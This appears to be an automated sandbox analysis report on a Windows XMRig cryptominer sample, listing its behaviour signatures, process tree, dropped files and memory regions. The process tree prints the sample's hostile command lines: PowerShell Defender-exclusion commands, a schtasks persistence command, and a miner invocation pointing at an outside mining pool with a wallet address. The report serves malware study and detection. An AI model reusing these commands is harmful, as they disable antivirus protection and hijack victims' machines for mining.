Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/12/2022, 13:16

General

  • Target
    file.exe
  • Size 865KB
  • Sample221205-qhsplada35
  • SHA256 2edd00e586bcfb09d7472eb14e05fc723a84219dbddd4b461fb2373761c0052e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:960
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3436
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4660
      • C:\ProgramData\github\PBBNAXU.exe
        "C:\ProgramData\github\PBBNAXU.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2040
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3696
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4576
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:624

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        PBBNAXU.exe

        • Path C:\ProgramData\github\PBBNAXU.exe
        • Size 865KB
        • SHA256 2edd00e586bcfb09d7472eb14e05fc723a84219dbddd4b461fb2373761c0052e
        • MD5 SHA1 SHA512 SSDEEP

        PBBNAXU.exe

        • Path C:\ProgramData\github\PBBNAXU.exe
        • Size 865KB
        • SHA256 2edd00e586bcfb09d7472eb14e05fc723a84219dbddd4b461fb2373761c0052e
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 976f9534aa2976c85c2455bdde786a3f55d63aefdd40942eba1223c4c93590db
        • MD5 SHA1 SHA512

        tmp9E87.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp9E87.tmp.bat
        • Size 142B
        • SHA256 61ae650661484710fa13eb4ac5a3d3255e807b452097bbe08cab8569b795b5fb
        • MD5 SHA1 SHA512

        memory/624-197-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/624-204-0x000002CBD7990000-0x000002CBD79B0000-memory.dmp

        memory/624-200-0x000002CBD7970000-0x000002CBD7990000-memory.dmp

        memory/624-201-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/624-202-0x000002CBD7990000-0x000002CBD79B0000-memory.dmp

        memory/624-203-0x000002CBD79B0000-0x000002CBD79D0000-memory.dmp

        memory/624-194-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/624-199-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/624-198-0x000002CBD7920000-0x000002CBD7940000-memory.dmp

        memory/624-196-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/624-205-0x000002CBD79B0000-0x000002CBD79D0000-memory.dmp

        memory/960-151-0x000001466CF30000-0x000001466CF52000-memory.dmp

        memory/960-158-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/960-154-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/1640-132-0x00000000001E0000-0x000000000031E000-memory.dmp

        memory/1640-144-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/1640-150-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/1640-135-0x00007FFDFE2D0000-0x00007FFDFE36E000-memory.dmp

        memory/1640-149-0x0000000000A40000-0x0000000000A83000-memory.dmp

        memory/1640-148-0x00000000001E0000-0x000000000031E000-memory.dmp

        memory/1640-134-0x00007FFDE1C50000-0x00007FFDE1CFA000-memory.dmp

        memory/1640-136-0x00007FFDF9C30000-0x00007FFDF9C42000-memory.dmp

        memory/1640-143-0x00007FFDE19B0000-0x00007FFDE1AFE000-memory.dmp

        memory/1640-137-0x00007FFDE1B00000-0x00007FFDE1BBD000-memory.dmp

        memory/1640-142-0x00000000001E0000-0x000000000031E000-memory.dmp

        memory/1640-141-0x0000000000A40000-0x0000000000A83000-memory.dmp

        memory/1640-140-0x00007FFDFDC10000-0x00007FFDFDC3B000-memory.dmp

        memory/1640-139-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/1640-138-0x00007FFDFD050000-0x00007FFDFD1F1000-memory.dmp

        memory/2040-178-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/2040-185-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/2212-184-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/2212-180-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/4076-155-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/4076-159-0x00007FFDE02F0000-0x00007FFDE0DB1000-memory.dmp

        memory/4316-170-0x00007FFDFDC10000-0x00007FFDFDC3B000-memory.dmp

        memory/4316-171-0x0000000000A50000-0x0000000000B8E000-memory.dmp

        memory/4316-175-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/4316-186-0x00007FFDFBF50000-0x00007FFDFBF77000-memory.dmp

        memory/4316-187-0x00007FFDE16D0000-0x00007FFDE1705000-memory.dmp

        memory/4316-188-0x00007FFDE0FF0000-0x00007FFDE10F2000-memory.dmp

        memory/4316-189-0x00007FFDFE200000-0x00007FFDFE26B000-memory.dmp

        memory/4316-190-0x00007FFDFB0E0000-0x00007FFDFB11B000-memory.dmp

        memory/4316-191-0x0000000000A50000-0x0000000000B8E000-memory.dmp

        memory/4316-192-0x0000000000860000-0x00000000008A3000-memory.dmp

        memory/4316-193-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/4316-173-0x00007FFDE1100000-0x00007FFDE124E000-memory.dmp

        memory/4316-174-0x0000000000860000-0x00000000008A3000-memory.dmp

        memory/4316-172-0x0000000000A50000-0x0000000000B8E000-memory.dmp

        memory/4316-169-0x00007FFDDFFC0000-0x00007FFDE0A81000-memory.dmp

        memory/4316-166-0x00007FFDF9C30000-0x00007FFDF9C42000-memory.dmp

        memory/4316-167-0x00007FFDE1710000-0x00007FFDE17CD000-memory.dmp

        memory/4316-168-0x00007FFDFD050000-0x00007FFDFD1F1000-memory.dmp

        memory/4316-165-0x00007FFDFE2D0000-0x00007FFDFE36E000-memory.dmp

        memory/4316-164-0x00007FFDE18B0000-0x00007FFDE195A000-memory.dmp